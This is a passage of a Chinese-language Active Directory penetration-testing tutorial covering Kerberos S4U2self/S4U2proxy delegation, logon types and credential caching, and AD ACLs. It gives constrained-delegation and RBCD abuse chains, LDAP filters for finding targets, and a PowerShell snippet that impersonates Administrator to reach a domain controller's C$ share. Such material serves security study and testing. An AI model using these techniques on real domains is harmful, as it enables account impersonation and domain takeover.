- 如果客户端ST的PAC中没有提供有效的票证签名 => 返回错误KRB-AP-ERR-MODIFIED。
- 如果客户端ST不可转发并且客户端受到保护 => 返回错误KRB-ERR-BADOPTION - STATUS-ACCOUNT-RESTRICTED。
- 如果客户端ST不可转发,并且target_service位于ms-AllowedToDelegateTo属性中 => 返回错误KRB-ERR-BADOPTION - STATUS-ACCOUNT-RESTRICTED。(这一条规则是通过实验发现的)
- 如果MS中的客户端ST是可转发的,并且target_service位于ms-AllowedToDelegateTo属性中 => 返回S4U2proxy ST。
- 如果target_service用户位于target_service用户的msDS-AllowedToActOnBehalfOfOtherIdentity属性中 => 返回S4U2proxy ST。
奇怪的是,使用基于资源的约束委派(MSDS-AllowedtoActonBehalfoTherIdentity),能够通过不可转发的客户端ST检索S4U2proxy ST。除非目标服务也在ms-AllowedToDelegateTo(规则3)中列出,否则将返回错误。
此外,在PAC Ticket Signature检查被引入之前,服务用户是可以修改客户ST的 (因为它是用其Kerberos密钥进行加密的),并使其可转发。然而,微软后来在PAC中引入了这个Ticket Signature(由KDC密钥进行签名)机制,以验证ST是否遭到了篡改。
此外,您可能已经注意到了:S4U2proxy会返回可转发的票证。(即使在Elad Shamir指出这一事实后,相关规范已经得到更新,但至少从我的实验来看,情况仍然如此。)
现在,让我们来举例说明S4U2proxy的处理过程。
`KDC .---. <-----2) TGS-REQ--------------------. / /| + SPN: MSSQLSvc/dbsrv | .---. | + TGT websrv$ | | | ' + ST client > http/websrv | | |/ | '---' >-----3) TGS-REP------------------. | + ST client > MSSQLSvc/dbsrv v ^ .---. ____ / /| | | >-----------1) AP-REQ---------------------> .---. | |____| + ST client > http/websrv | | ' /::::/ | |/ client '---' websrv .---. v / /| | .---. |<-----4) AP-REQ-------------------' | | ' + ST client > MSSQLSvc/dbsrv | |/ '---' dbsrv`
S4U2proxy处理过程
客户端通过发送ST对Web服务器服务(http/websrv)进行身份验证。
稍后,当Web服务器(http/websrv)需要代表客户端访问数据库服务(MSSQLSvc/dbsrv)时,它将使用客户端ST和它自己的TGT为MSSQLSvc/dbsrv请求一个ST。
KDC检查服务用户websrv$是否能够为MSSQLSvc/dbsrv请求委派票证(主要参考前面讨论的规则),并返回MSSQLSVC/dbsrv的客户端ST。总而言之,通常应满足以下条件之一:
- MSSQLSvc/dbsrv包含在websrv$(Web服务器的服务用户)的msDS-AllowedToDelegateTo属性中。这是典型的约束委派。
- websrv$包含在dbsrv$(MSSQLSvc/dbsrv服务的服务用户)的msDS-AllowedToActOnBehalfOfOtherIdentity属性中。这是基于资源的约束委派。
- Web服务使用最近获得的ST通过冒充客户端对数据库进行身份验证。
此外,也可以跨域使用S4U2proxy,但是在这种情况下,只能使用基于资源的约束委派。
`KDC foo.com .--------------1) TGS-REQ-------------------> .---. | + SPN: MSSQLSvc/dbsrv.bar.com / /| | + TGT websrv$ > foo.com .---. | | + ST client > http/websrv | | ' | | |/ | .----2) TGS-REP-----------------------< '---' | | + TGT websrv$ (client) > bar.com ^ v ^ v | | .---. | | / /| >----3) TGS-REQ----------------------' | .---. | + SPN: krbtgt/bar.com | | | ' + TGT websrv$ > foo.com | | |/ | '---' <-----4) TGS-REP-------------------------' websrv + TGT websrv$ > bar.com .---. (foo.com) / /| ^ v v .---. | | | '-------------7) AP-REQ--------------------------> | | ' | | + ST client > MSSQLSvc/dbsrv.bar.com | |/ | | '---' | '-------5) TGS-REQ-----------------------> .---. dbsrv | + SPN: MSSQLSvc/dbsrv.bar.com / /| (bar.com) | + TGT websrv$ > bar.com .---. | | + TGT websrv$ (client) > bar.com | | ' | | |/ '---6) TGS-REP----------------------------< '---' + ST client > MSSQLSvc/dbsrv.bar.com KDC bar.com`
跨域S4u2proxy
我们假设客户端已经将其ST发送到websrv服务。然后websrv需要以用户的名义来访问数据库服务MSSQLSvc/dbsrv。 websrv以客户端的名义要求为MSSQLSvc/dbsrv提供ST,其中包括它自己的ST。 KDC检查该请求并确定所请求的服务就在bar.com中,这时,它返回一个特殊的跨域TGT,用于向bar.com KDC请求S4U2proxy。 websrv检查该响应并发现了用于S4U2proxy的这个特殊的域间TGT。但它还需要一个用于bar.com的常规跨域TGT,因此它会向KDC请求一个。 KDC为websrv$返回一个用于bar.com的跨域TGT。 然后websrv$使用这些域间TGT来以客户端的名义向bar.com KDC请求一个MSSQLSvc/dbsrv的ST。 KDC检查这些请求后发现websrv$被允许委派给MSSQLSvc/dbsrv服务(使用RBCD),所以,它会为MSSQLSvc/dbsrv颁发ST。 websrv使用这个新的ST来冒充客户访问MSSQLSvc/dbsrv服务。
S4U2self
Kerberos S4U2self扩展允许一个服务以用户的名义为自己请求一个票证,并在S4U2proxy中使用。这样做的目的,是为了让那些不支持Kerberos协议的客户端能够执行Kerberos委派。这也被称为协议转换。
为了能够使用S4U2self,KDC会检查服务用户帐户的UserAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION标志。为了修改这个标志,需要SeEnableDelegationPrivilege权限。
此外,KDC还检查服务用户是否具有任何服务以及msDS-AllowedToDelegateTo属性的值。具体规则可以参阅MS-SFU规范,下面简单介绍KDC在收到S4U2self请求时进行的检查:
如果服务用户没有任何服务 => 返回错误KDC-ERR-S-PRINCIPAL-UNKNOWN。 如果客户端无法执行委派 => 返回non-FORWARDABLE ST。 如果服务用户的TRUSTED_TO_AUTH_FOR_DELEGATION标志被设置 => 返回FORWARDABLE ST。 如果服务用户的TRUSTED_TO_AUTH_FOR_DELEGATION标志没有设置,并且服务用户在ms-AllowedToDelegateTo中有服务 => 返回non-FORWARDABLE ST。(这个ST仍然可以用于S4U2proxy与基于资源的约束委派) 如果服务用户的TRUSTED_TO_AUTH_FOR_DELEGATION标志没有设置,并且服务用户的ms-AllowedToDelegateTo是空的 => 返回FORWARDABLE ST。
下面,让我们举例说明:
`KDC .---. >---2) TGS-REQ--------------> .---. / /| + SPN: HTTP/websrv / /| ____ .---. | + For user: client .---. | | | >-1) SPNEGO--> | | ' + TGT websrv$ | | ' |____| (NTLM) | |/ | |/ /::::/ '---' <----3) TGS-REP-------------< '---' client websrv + ST client > HTTP/websrv`
S4U2self的处理过程
由于HTTP/websrv服务不支持Kerberos协议,所以客户端将通过NTLM(或其他认证协议)对其进行身份验证。 websrv通过向KDC发送TGS-REQ来为客户端请求S4U2self ST。 KDC将检查这些请求、websrv$的TRUSTED_TO_AUTH_FOR_DELEGATION标志以及客户端是否受到保护而无法进行委派。如果一切正常,KDC将为客户端返回一个HTTP/websrv ST,这个ST可能是FORWARDABLE,也可能不是,具体取决于前面提到的变量。
此外,S4U2Self还可以跨域使用。下面,让我们看看这是如何实现的。
`____ | | .-----1) SPNEGO------< |____| | (NTLM) /::::/ | client (bar) | | foo KDC v bar KDC .---. <----2) TGS-REQ------< .---. >---------4) TGS-REQ------------> .---. / /| + SPN: krbtgt/bar / /| + SPN: HTTP/websrv / /| .---. | + TGT websrv$ > foo .---. | + For user: client .---. | | | ' | | ' + TGT websrv$ > bar | | ' | |/ | |/ | |/ '---' >-----3) TGS-REP-----> '---' <----------5) TGS-REP-----------< '---' v ^ + TGT websrv$ > bar websrv + TGT websrv$ (client) > foo | | (foo) | | v ^ | | | | | '--<<--6) TGS-REQ---<<----' | | + SPN: HTTP/websrv | | + For user: client | | + TGT websrv$ (client) > foo | | | '----->>---7) TGS-REP---->>-------' + ST client > HTTP/websrv`
S4U2self的跨域使用
由于HTTP/websrv服务不支持Kerberos协议,所以客户端将通过NTLM(或其他认证协议)对其进行身份验证。 websrv发现客户的领域(realm)是bar,所以,它将发送了一个TGS-REQ,要求获得bar领域的TGT。 KDC向websrv返回一个bar的域间TGT。 websrv使用其新的域间TGT向bar KDC请求为客户端提供一个HTTP/websrv ST。 bar KDC发现HTTP/websrv服务位于foo域内,所以,它无法为HTTP/websrv服务颁发ST,但会返回一个foo域的引荐TGT,表明为客户端申请了HTTP/websrv ST。 然后,websrv使用bar KDC颁发的这个引荐TGT来向foo KDC请求为客户端提供ST。 foo KDC检查该请求和引荐TGT后,认为可以为客户端颁发HTTP/websrv ST。
S4U2self and S4U2proxy
现在,我们已经知道S4U2self和S4U2proxy是如何工作的了,下面,让我们举例说明如何将它们组合起来使用。
`KDC .------>>----1) TGS-REQ----->>---------------> .---. | + SPN: HTTP/websrv / /| | + For user: admin .---. | | + TGT websrv$ | | ' | | |/ | .--<<----2) TGS-REP-----<<-------------< '---' | | + ST admin > HTTP/websrv ^ v | | | | | | | | ^ v | | .---. >->>---3) TGS-REQ----->>---------------' | / /| + SPN: MSSQLSvc/dbsrv | .---. | + TGT websrv$ | | | ' + ST admin > HTTP/websrv | | |/ | '---' <--<<---4) TGS-REP-----<<-------------------' websrv + ST admin > MSSQLSvc/dbsrv v | | .---. | / /| '------------5) AP-REQ-------------> .---. | + ST admin > MSSQLSvc/dbsrv | | ' | |/ '---' dbsrv`
S4U2self与S4U2proxy的组合应用
websrv通过TGS-REQ使用S4U2self向KDC发送一个请求,要求为用户admin返回一个HTTP/websrv ST。 KDC检查这些请求、websrv$ TRUSTED_TO_AUTH_FOR_DELEGATION标志以及用户admin是否因受到保护而无法执行委派。如果一切正常,KDC将为客户端返回一个HTTP/websrv ST,这个ST可能是FORWARDABLE的,也可能不是,具体取决于S4U2Self中提到的变量。 然后,websrv通过S4U2self ST和它自己的TGT,以admin的名义来请求MSSQLSvc/dbsrv ST。 KDC将根据S4U2Proxy中提到的规则,检查服务用户websrv$是否被允许为MSSQLSvc/dbsrv请求委派票证。如果一切正常,就会为admin用户返回一个MSSQLSvc/dbsrv ST。 websrv使用MSSQLSvc/dbsrv ST,以admin的名义对数据库进行身份验证。
因此,正如我们所看到的,可以将S4U2self和S4U2proxy组合起来,这样就可以针对所有那些服务用户被允许执行约束委派服务,进而冒充任何用户(那些无法执行委派的用户除外)。
当然,也可以跨域使用S4U2self和S4U2proxy。
S4U attacks
让我们考察一下,在渗透测试中,约束委派和S4U扩展是如何被滥用的。
为了找到使用约束委派的账户,必须查找启用了UserAccountControl TRUSTED_TO_AUTH_FOR_DELEGATION的账户(S4U2self/Protocol Transition),或者在属性msDS-AllowedToDelegateTo(Classic Constrained Delegation)或msDS-AllowedToActOnBehalfOfOtherIdentity(RBCD)中带有值的账户。下面给出了一个LDAP过滤器,可以用来搜索约束委派账户:
(| (UserAccountControl:1.2.840.113556.1.4.803:=16777216) (msDS-AllowedToDelegateTo=*) (msDS-AllowedToActOnBehalfOfOtherIdentity=*) )
检索与约束委派有关的账户的LDAP过滤器
为了找到与约束委派相关的账户,还可以使用Powerview等工具,impacket findDelegation.py脚本,Powershell ActiveDirectory模块或ldapsearch。
(| (memberof:1.2.840.113556.1.4.1941:=CN=Protected Users,CN=Users,DC=<domain>,DC=<dom>) (userAccountControl:1.2.840.113556.1.4.803:=1048576) )
检索无法执行委派的账户的LDAP过滤器
一旦找到了相应的账户并想执行某些Kerberos操作,接下来就可以借助各种工具,通过S4U扩展执行票证请求,从而获取用于冒充用户所需的ST。此外,您还可以使用MIT的kerberos工具(ktutitl, kinit, kvno),Rubeus,getST.py impacket脚本或cerbero。
此外,只要能够在一台支持约束委派的计算机上以SYSTEM账户的身份(也就是在Active Directory中的计算机账户的背景下)执行命令,就能够使用S4U2self和S4U2proxy,为此,只需要几行Powershell代码即可。
# Code made by Lee Christensen (@tifkin_) and Will Schroeder (@harmj0y) # Source: https://www.harmj0y.net/blog/activedirectory/s4u2pwnage/ # translated from the C# example at https://msdn.microsoft.com/en-us/library/ff649317.aspx # load the necessary assembly $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') # execute S4U2Self w/ WindowsIdentity to request a forwardable TGS for the specified user $Ident = New-Object System.Security.Principal.WindowsIdentity @('Administrator@FOO.LOCAL') # actually impersonate the next context $Context = $Ident.Impersonate() # implicitly invoke S4U2Proxy with the specified action ls \\DC01.FOO.LOCAL\C$ # undo the impersonation context $Context.Undo()
约束委派的优点是,在很多(比如启用了RBCD或TrustedToAuthForDelegation)时候,可以在没有任何互动的情况下冒充用户。然而,由于您能访问的服务数量是有限的,必须了解在执行委派过程中非常有用的敏感服务:
- 域控制器的LDAP: Active Directory的LDAP服务是用来管理账户的,包括相应的权限,所以只要您能够冒充管理员来访问LDAP服务,就可以将任何特权授予您控制的任何用户帐户。比如,通过授予任意权限来发的DCSync攻击并入侵域。
- 任何计算机的SMB: 如果能够冒充任何用户使用计算机的SMB(SPN中的cifs)服务,就可以访问计算机中的所有文件,通过psexec等工具执行命令,以及通过RPC调用执行其他操作。
- MSSQL服务: MSSQL服务器除了包含敏感数据外,还可以允许用户通过xp_cmdshell命令执行命令,通过xp_dirtree向WebDAV服务器执行HTTP请求来滥用NTLM中继,以及其他许多选项。
- krbtgt服务: 如果一个账户被允许委派给krbtgt服务,它可以为任何被允许冒充的账户请求TGT。
请记住,即使你不被允许通过经典约束委派(ms-AllowedToDelegateTo属性)直接委派给这些服务之一,而是委派给同同一用户的一个服务,也可以改变票证中的目标服务。例如,如果你被允许委派给一台计算机的HTTP服务,例如HTTP/websrv,就可以将目标服务改为CIFS/websrv来访问该计算机(如果HTTP服务是在计算机账户的上下文中执行的话)。另外,如果你可以委派DC的任何服务,就能设法改变票证服务,并用它来访问LDAP服务。
为了以用户的身份来使用服务,需要基于资源的约束委派(RBCD)或支持协议转换的经典约束委派(S4U2self)。
你可以通过获取对账户ms-AllowedToActOnBehalfOfOtherIdentity属性的写入权限,使其指向至少含有一项服务的账户(为了使用S4U2self),来为账户启用RBCD。
如果您没有至少具有一项服务的帐户,则可以通过滥用计算机配额创建一个计算机帐户,因为在默认情况下,计算机配额允许用户在域上最多创建10个计算机帐户。这项任务可以用Powermad或impacket addcomputer.py来完成。一旦创建了计算机帐户(用户可以选择计算机帐户的密码),创建该帐户的用户就可以为其分配服务。这样,您可以获得一个具有各种服务的帐户了。
此外,默认情况下,帐户有权编辑自己的MS-AllowedToActonBeHalfOtherIdentity属性。因此,如果您能够获得计算机帐户的凭据(如NT哈希值、Kerberos密钥或TGT),则可以为该计算机的任意用户启用RBCD。通过这种方式,您可以使用RBCD来冒充计算机CIFS(SMB)服务的管理员,从而拿下相应的计算机。
实际上,由于您掌握了计算机帐户凭据,因此也可以为自己启用RBCD(反射型RBCD)。这样,您只需要使用S4U2self来请求计算机CIFS服务的票证,就能获得相应的ST,之后就可以通过它来入侵主机了。这种方法甚至可以冒充受保护的用户帐户。有时候,这种方法非常有用,因为默认情况下域计算机帐户并没有以管理员身份远程访问计算机本身的权限。
.----------------------1) LDAP (modify websrv$) --------------------. | + msds-AllowedToActOnBehalfOfOtherIdentity = ["websrv$"] | | v | .----------------2) TGS-REQ---------------------------. .---. ^ | + SPN: CIFS/websrv | / /| o >--' + For user: admin '--> .---. | /|\ + TGT websrv$ | | ' / \ | |/ websrv$ <-----------------3) TGS-REP------------------------------< '---' v + ST admin > CIFS/websrv DC (KDC) | | .---. | / /| '---------4) AP-REQ------------------> .---. | + ST admin > CIFS/websrv | | ' | |/ '---' websrv
反射型RBCD攻击
尽管如此,在入侵机器之前获得计算机凭据是很棘手的(也许可以用无约束委派?),但如果能强迫计算机向处于自己控制下的主机发送经过NTLM身份验证的HTTP请求,就能实现从HTTP到LDAP的跨NTLM中继攻击,以便将计算机帐户的RBCD启用到您控制的帐户。
为了使用这个原语,可以利用Windows桌面上默认安装的WebDAV客户端。例如,可以通过使用MSSQL数据库的xp_dirtree过程来触发经过身份验证的HTTP请求(为此,可以借助于bad_sequel.py脚本)。
但是,这可能会破坏具有未启用协议转换 (S4U2self) 的经典约束委派的帐户,这样一来,就无法为任何用户索取票证了。在这种情况下,可以使用RBCD来模仿协议转换。这意味着,我们可以通过被攻击的账户(具有经典约束委派的账户)启用另一个账户的RBCD,这样其他账户就可以为任何用户向被攻击的账户索取票证,它应该是可转发的,因为它是由S4U2proxy生成的(虽然相关规范已经更新,但这个事实似乎仍然没有变化),这种方式实际上就是对协议转换的模仿。
这个方法貌似有点复杂,所以让我们举个例子:假设dbsrv被入侵了,并且启用了经典约束委派,但没有启用协议转换。然而,websrv也被入侵了,并且可以被用于RBCD协议转换。然后,启用从websrv到dbsrv的RBCD,并使用websrv模拟协议转换,最后得到一个管理员ST,这样,就可以通过以下列方式来入侵filesrv了。
`KDC .-------1) TGS-REQ-->>------------> .---. <----6) TGS-REQ----<<------------. | + SPN: HTTP/websrv / /| + SPN: CIFS/filesrv | | + For user: admin .---. | + TGT dbsrv$ | | + TGT websrv$ | | ' + ST(F) admin > MSSQLSvc/dbsrv | | | |/ | | .----2) TGS-REP--<<----------< '---' >------7) TGS-REP---->>--------. | | | + ST admin > HTTP/websrv ^ v + ST admin > CIFS/filesrv | | | | | | | | | | | | | | | | | | | | ^ v | | | | .---. >--------3) TGS-REQ---->>---' | | | / /| + SPN: MSSQLSvc/dbsrv | | | .---. | + TGT websrv$ | | | | | ' + ST admin > HTTP/websrv | | | | |/ | | | '---' <----------4) TGS-REP----<<-------' v ^ websrv + ST(F) admin > MSSQLSvc/dbsrv .---. v / /| | .---. | '------------------5) Send the ticket----->>>>---------------------> | | ' + ST(F) admin > MSSQLSvc/dbsrv | |/ '---' dbsrv .---. v / /| | .---. | <--8) AP-REQ---<<----------------' | | ' + ST admin > CIFS/filesrv | |/ '---' filesrv`
将RBCD作为协议转换使用
在前四个步骤中,websrv使用S4U2self和S4U2proxy为管理员获取一个可转发的MSSQLSvc/dbsrv ST,从而模拟协议转换。然后,websrv将这个管理员ST发送给dbsrv,而dbsrv则将其用于S4U2proxy,并为管理员请求一个CIFS/filesrv ST,这样就可以入侵filesrv了。
Logon types
为了在本地和远程登录用户账户,Windows定义了多种不同的登录类型;对于攻击者来说,熟悉这些登陆方式是很重要的,原因如下:首先,不是所有的登录方式都可以供任何用户使用,所以,攻击者需要知道自己能够使用哪种登陆方式。其次,许多登录方式会在lsass进程中或甚至在LSA机密中缓存凭据,而攻击者可设法破解它们,因此,识别自己登录时使用的是哪种方式是非常重要的。
Interactive logon
在物理机上登录,或使用runas时,通常会采用交互式登录或本地登录方式。这种情况下,凭据会被缓存在机器的lsass进程中。
交互式登录
runas /user:<username> cmd
使用runas进行交互式登录
在这种类型的登录中,如果是本地账户,计算机会用其NT哈希值与存储在SAM中的密码进行核对。如果用户使用的是域账户,计算机将通过缓存在计算机中的域控制器查询Kerberos TGT,并通过它来检查用户凭据。如果无法访问域控制器,计算机会检查域缓存凭据(DCC)存储中的用户凭据,该存储中缓存了最后登录机器的域用户的凭据。如果未缓存域凭据,计算机则无法对用户进行身份验证。
一旦通过身份验证,从密码派生的NT哈希值就会存储在lsass进程中。对于域账户,Kerberos密钥也是从用户密码派生出来的,并且票证也会被缓存起来,以提供SSO(单点登录)特性。在老式计算机中,甚至连密码也会以明文形式缓存起来。
为了进行交互式登录,通常需要具有SeInteractiveLogonRight权限,特别是在域控制器或其他Windows服务器机器上的时候。
Network logon
当您使用SMB、RPC、SQL等非交互式服务连接到远程计算机时,使用的就是网络登录方式。对于这种登录方式,您需要提供密码、NT哈希值或Kerberos票证,因此,这些凭据很容易受到Pass-The-Hash、Pass-The-Key或Pass-The-Ticket攻击的影响。一个重要的事实是,除非启用了Kerberos委派,否则凭据是不会缓存在远程计算机中的。
对于攻击者来说,这种登陆类型更加常用(我的意思是有意识地使用的登陆方式,因为这也是合法用户最常用的登录类型,因为同一个域中的计算机也经常相互连接)。
PSECEC、impacket套件和Powershell remote也使用这种身份验证方式,即使它们提供了交互式shell。
以下是一些网络登录的示例:
dir \\ws01-10\Temp
访问共享
.\PsExec.exe \\dc01 cmd
执行PsExec
在这种类型的登录中,客户端将连接到远程计算机,并使用SPNEGO协商身份验证协议,最后确定使用Kerberos或NTLM。由于无论使用这些协议中的任何一个,用户的凭据都不会直接发送,因此它们并不会缓存在目标机器中。当然,这里有一种例外,那就是启用了Kerberos委派的情况。
请注意,即使您可以使用网络登录,也可能有许多原因导致无法使用服务。第一个原因是防火墙拦截了与远程服务的连接,第二个原因是许多通过网络登录可用的服务只能用于管理员。
例如,即使您可以使用网络登录访问远程计算机的某些共享,仍然无法使用PsExec来启动shell,因为它需要访问服务管理器,而服务管理器只能由管理员访问。
Batch logon
用于在用户上下文中运行计划任务。Microsoft文档指出,任务用户的密码是存储在LSA机密中的,但实际测试表明,无法将密码存储在LSA机密。实际上,执行任务时,凭据将缓存在lsass进程中。
schtasks.exe /create /tn notepaddaily /tr notepad.exe /sc daily /ru CONTOSO\TaskUser /rp task1234!
使用用户凭据创建任务
请注意,批处理登录是在执行任务时产生的,而不是在创建任务时产生的。因此,即使您拥有作为任务运行的权限(如SeBatchLogonRight),仍然无法创建任务。例如,备份操作员虽然具有SeBatchLogonRight权限,但他们无法创建任务(默认情况下)。
当任务启动时,将进行身份验证并缓存凭据,就像在交互式登录中一样。
Service logon
服务登录是在用户上下文中启动服务时使用的登陆方式。对于这种方式,会将明文密码存储在机器的LSA机密中,当服务执行时,凭据将被缓存到lsass进程中。
sc.exe create MySvc2 binpath= c:\windows\system32\notepad.exe obj=CONTOSO.local\svcUser password=svc1234!
使用用户凭据创建服务
请注意,服务登录是在执行任务时产生的,而不是在创建任务时产生的。因此,即使您拥有作为任务运行的权限(如SeBatchLogonRight),仍然无法创建任务。
当任务启动时,将进行身份验证并缓存凭据,就像在交互式登录中一样。
NetworkCleartext logon
在使用NetworkCleartext登录的情况下,密码会通过网络发送到目标机器上(加密通信)。当规定使用CredSSP身份验证时,Powershell remoting就会使用这种登录类型。
CredSSP使用NTLM或Kerberos协议进行网络身份验证的情况下,当创建加密通道时,会将密码发送到目标计算机。
应该注意的是,由于凭据是通过网络流量发送的,所以,它将被目标机所缓存。
New-PSSession -Credential $(Get-Credential) -Authentication Credssp
使用Powershell remoting完成NetworkCleartext登录
NewCredentials logon
NewCredentials登录发生在使用带有/netonly参数的runas程序时。然后,启动的进程仅在远程连接时使用凭据,并为本地操作保留当前用户会话。
这时,凭据被缓存在本地lsass进程中,以便用于网络连接。然后,当进程需要时,它可以执行网络登录以访问域的远程资源。
runas /netonly /user:CONTOSO\OtherUser cmd
使用runas执行NewCredentials登录
在完成网络连接之前不会检查凭据,但在执行runas命令时会缓存它们,就像在交互式登录中一样(但是Kerberos票证除外,因为它们是在检查凭据时检索的)。您必须考虑到这一点,因为该方法允许在lsass进程中缓存伪造的凭据,有时蓝队会使用该方法创建蜜罐凭据以检测攻击者。
RemoteInteractive logon
通过RDP连接到计算机时,就会使用RemoteInteractive登录。而RDP则使用CredSSP进行远程登录,因此,密码将通过网络发送到目标计算机,因此,凭据将被缓存在远程lsass进程中。
使用RDP进行远程交互登录
身份验证类似于网络登录,但凭据会被发送到目标计算机,因此,它们会像交互式登录时那样被缓存。
为了能够通过RemoteInteractive登录方式登录远程计算机,您的用户需要成为远程桌面用户的一部分,或者在目标计算机中拥有SeRemoteInteractiveLogonRight权限。
Authorization
一旦客户端能够解析目标主机名并进行了身份验证,目标服务/程序/计算机现在就应该能够了解其权限,或者说,就能知道用户的username和SID以及它所属的组。一旦知道了这些信息,程序就可以决定用户是否有足够的权限访问某些对象。
ACLs
Security descriptor
但是,如何检查用户是否有权访问对象呢?方法是检查其安全描述符。在Active Directory中,数据库的每个对象在其NTSecurityDescriptor属性中都有一个关联的安全描述符。并且,安全描述符是以二进制格式存储的,但也可以转换为Security Descriptor String Format格式。
安全描述符包含以下安全信息:
- 作为对象所有者的主体的SID
- 所有者主要组的SID
- (可选)DACL(Discretionary Access Control List,自主访问控制列表)
- (可选)SACL(System Access Control List,系统访问控制列表)
PS C:\> $(Get-ADUser anakin -Properties nTSecurityDescriptor).nTSecurityDescriptor | select Owner,Gro up,Access,Audit | Format-List Owner : CONTOSO\Domain Admins Group : CONTOSO\Domain Admins Access : {System.DirectoryServices.ActiveDirectoryAccessRule, System.DirectoryServices.ActiveDirectoryAccessRule, System.DirectoryServices.ActiveDirectoryAccessRule, System.DirectoryServices.ActiveDirectoryAccessRule...} Audit :
获取用户对象的安全描述符
如你所见,每个安全描述符中可以有两个ACL(Access Control List,访问控制列表):DACL和SACL。其中,ACL是一个由ACE(Access Control Entry,访问控制条目)组成的列表。SACL的ACE定义了会生成日志的访问尝试,从防御的角度来看,它们可能很有用。
然而,最重要的部分是DACL,它通常存在于所有的对象中,其ACE决定了可以访问对象的用户/组,以及允许的访问类型。通常,当有人谈论对象的ACL时,它指的是DACL。
ACEs
每个ACE都包含下面几个部分:
- ACE类型:指定ACE是用于允许还是拒绝访问(如果是SACL,则用于记录访问)。
- 继承性:指示是否继承了ACE。
- 主体/身份:表示应用ACE的主体(用户/组)。存储主体SID。
- 权限:指示ACE应用的访问类型。
- 对象类型:根据访问掩码标志指示扩展权限、属性或子对象的GUID。如果不使用,则设置为零。
- 继承类型:可以从该对象继承ACE的对象类的类型。
PS C:\Users\Administrator> $(Get-ADUser anakin -Properties nTSecurityDescriptor).nTSecurityDescriptor.Access[0] ActiveDirectoryRights : GenericRead InheritanceType : None ObjectType : 00000000-0000-0000-0000-000000000000 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : None AccessControlType : Allow IdentityReference : NT AUTHORITY\SELF IsInherited : False InheritanceFlags : None PropagationFlags : None
用户账户的ACE
因此,ACE可以用来授予访问权,同时,也可以用来限制访问权。应该注意的是,如果一个主体同时被不同的ACE允许和拒绝访问,那么表示拒绝的ACE将具有优先权,因此,访问将被拒绝。
另一方面,ACE可以从数据库的父对象(OU和容器)继承,实际上,大多数适用于对象的ACE都是继承的。如果继承的访问与显式ACE(非继承)冲突,则显式ACE确定访问规则。因此,ACE的优先顺序如下:
- 显式拒绝ACE
- 显式允许ACE
- 继承式拒绝ACE
- 继承式允许ACE
有一种特殊情况不受ACEs的限制,那就是对象所有者。所有者拥有修改对象ACE的隐式权限(WriteDacl权限)。
此外,还必须考虑到,如果安全描述符没有DACL(DACL设置为NULL),那么,每个人都可以访问该对象。然而,如果安全描述符有一个空的DACL(DACL中没有ACE),则意味着没有人可以访问该对象。
Rights
我们可以利用ACE指定以下权限:
- Delete:删除对象。
- ReadControl:读取安全描述符,但SACL除外。
- WriteDacl:修改安全描述符中的对象DACL。
- WriteOwner:修改安全描述符中的对象所有者。
- CreateChild:创建子对象。适用于容器。
- DeleteChild:删除子对象。适用于容器。
- ListContents:列出子对象。适用于容器。如果未授予此权限或ListObject权限,则对用户隐藏该对象。
- ReadProperty:读取对象类型中指定的属性或属性集。如果对象类型为零,则可以读取所有属性。它不允许读取机密属性。
- WriteProperty:修改对象类型中指定的属性。如果对象类型为零,则可以修改所有属性。
- WritePropertyExtended:执行已验证的写入权限。也许最有趣的已验证的写入权限是组的Self-Membership权限,它允许使用ACE将当前用户添加到组中。
- DeleteTree:使用delete-tree操作删除所有子对象。
- ListObject:列出对象。如果未授予该权限或ListContents权限,则对用户隐藏该对象。
- ControlAccess:可以根据对象类型以多种不同方式解释的特殊权限。如果对象类型是机密属性的GUID,则授予读取该属性的权限。如果是注册在数据库架构中的扩展权限的GUID,则给出该权限。如果对象类型为null(GUID为全零),则授予所有扩展权限。
此外,还有一些囊括多种权限的泛型权限(generic rights):
- GenericRead:ReadControl、ListContents、ReadProperty(全部)
- GenericWrite:ReadControl、WriteProperty(全部)、WritePropertyExtended(全部)
- GenericExecute:ReadControl、ListCont
- GenericAll:Delete、WriteDacl、WriteOwner、CreateChild、DeleteChild、DeleteTree、ControlAccess(全部)、GenericAll、GenericWrite
同时,还有许多扩展权限,但以下是我们最感兴趣的:
- User-Force-Change-Password:在不知道当前密码的情况下更改用户密码。适用于用户对象。不要与User-Change-Password权限混淆,因为它需要在已经知道密码的情况下进行修改。
- DS-Replication-Get-Changes:复制数据库数据。适用于域对象。执行dcsync所需。
- ds-replication-get-changes-all:复制数据库机密数据。对于域对象。执行dcsync所需。
PS C:\Users\Administrator\Downloads> (Get-Acl 'AD:\DC=contoso,DC=local').Access[49] ActiveDirectoryRights : ExtendedRight InheritanceType : None ObjectType : 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 InheritedObjectType : 00000000-0000-0000-0000-000000000000 ObjectFlags : ObjectAceTypePresent AccessControlType : Allow IdentityReference : CONTOSO\Domain Controllers IsInherited : False InheritanceFlags : None PropagationFlags : None
域的DS-Replication-Get-Changes-All权限
前面的例子显示了一个ExtendedRight ACE,它为Domain Controllers组提供了域中的DS-Replication-Get-Changes-All权限。
如您所想,当有人说Domain Admins组在域中具有管理权限时,这意味着许多对象中的ACE赋予了这个组大量的权限,所以,如果您属于Domain Admin组,那么,您就可以执行很多特权操作,但最终决定一个组/用户权限的却是对象的DACL。
除了数据库对象,在Windows计算机中,还有许多受本地计算机管理的本地DACL保护的安全对象。这些对象包括文件/目录、进程、注册表项或服务。但由于域管理员在默认情况下被添加到计算机中的本地管理员组,因此域管理员通常可以访问Windows计算机中的任何本地对象。您可以使用Get-Acl、icacls等工具来检查文件ACL。
ACL attacks
由于一个域来说,可能有大量的ACL涉及到它,因此管理起来可能比较困难。这种情况下,很可能会存在一些错误的配置,而攻击者正好可以利用它们在域中,甚至在林中提升自己的权限(记住,同一林中的域是相连的,所以你可以添加涉及其他域中主体的ACE)。下面,我们给出一些错误的配置。
